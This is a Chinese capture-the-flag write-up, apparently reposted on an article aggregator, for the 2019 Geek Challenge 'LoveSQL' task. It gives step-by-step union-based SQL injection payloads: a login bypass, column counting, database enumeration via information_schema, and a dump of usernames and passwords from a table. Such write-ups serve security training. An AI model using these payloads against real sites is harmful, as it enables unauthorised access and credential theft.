[极客大挑战 2019]LoveSQL

本文主要是介绍[极客大挑战 2019]LoveSQL，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

首先简单测试一下题目

题目还是熟悉的登陆界面，先尝试一下万能密码的登陆

显示登陆成功，但是flag貌似不对
看起来像是MD5的加密，但是却无法解密

查询字段

admin' order by X #

当查询到4的时候返回Unknown column '4' in 'order clause'
然后用1' union select 1,2,3 #

所以回显点为2，3

查数据库名

1' union select 1,database(), version() #

得到数据库名为geek

爆表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

得到两个数据表名
我们尝试l0ve1ysq1这个数据表

爆字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #

得到这三个子段

爆数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

得到flag

End
acc

这篇关于[极客大挑战 2019]LoveSQL的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！